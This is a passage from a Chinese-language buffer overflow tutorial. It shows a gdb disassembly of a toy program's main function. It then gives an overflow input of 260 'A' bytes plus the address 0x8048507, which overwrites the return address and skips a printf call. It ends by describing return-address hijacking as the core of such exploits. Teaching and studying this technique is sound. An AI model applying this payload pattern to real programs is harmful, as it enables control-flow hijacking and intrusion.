(gdb) disassemble main
Dump of assembler code for function main:
0x80484c0 <main>: push %ebp
0x80484c1 <main+1>: mov %esp,%ebp
0x80484c3 <main+3>: sub $0x8,%esp
0x80484c6 <main+6>: cmpl $0x2,0x8(%ebp)
0x80484ca <main+10>: je 0x80484e4 <main+36>
0x80484cc <main+12>: sub $0x8,%esp
0x80484cf <main+15>: mov 0xc(%ebp),%eax
0x80484d2 <main+18>: pushl (%eax)
0x80484d4 <main+20>: push $0x8048583
0x80484d9 <main+25>: call 0x8048360 <printf>
0x80484de <main+30>: add $0x10,%esp
0x80484e1 <main+33>: jmp 0x8048507 <main+71>
0x80484e3 <main+35>: nop
0x80484e4 <main+36>: sub $0xc,%esp
0x80484e7 <main+39>: mov 0xc(%ebp),%eax
0x80484ea <main+42>: add $0x4,%eax
0x80484ed <main+45>: pushl (%eax)
0x80484ef <main+47>: call 0x8048490 <function>
0x80484f4 <main+52>: add $0x10,%esp
0x80484f7 <main+55>: sub $0xc,%esp
0x80484fa <main+58>: push $0x8048597 <--------"OK!\n"的地址
0x80484ff <main+63>: call 0x8048360 <printf> <--------调用printf
0x8048504 <main+68>: add $0x10,%esp
0x8048507 <main+71>: leave <--------希望至此直接返回,跳过printf
0x8048508 <main+72>: ret
End of assembler dump.
只需提供参数如下形式:
A.....A[0x8048507]
其中256+4个A,4字节的0x8048507,即可实现跳过printf("OK!\n")直接结束。
因此,缓冲区溢出的利用主要思路是通过改变函数返回地址RET而改变程序流程去执行我们想要执行的代码。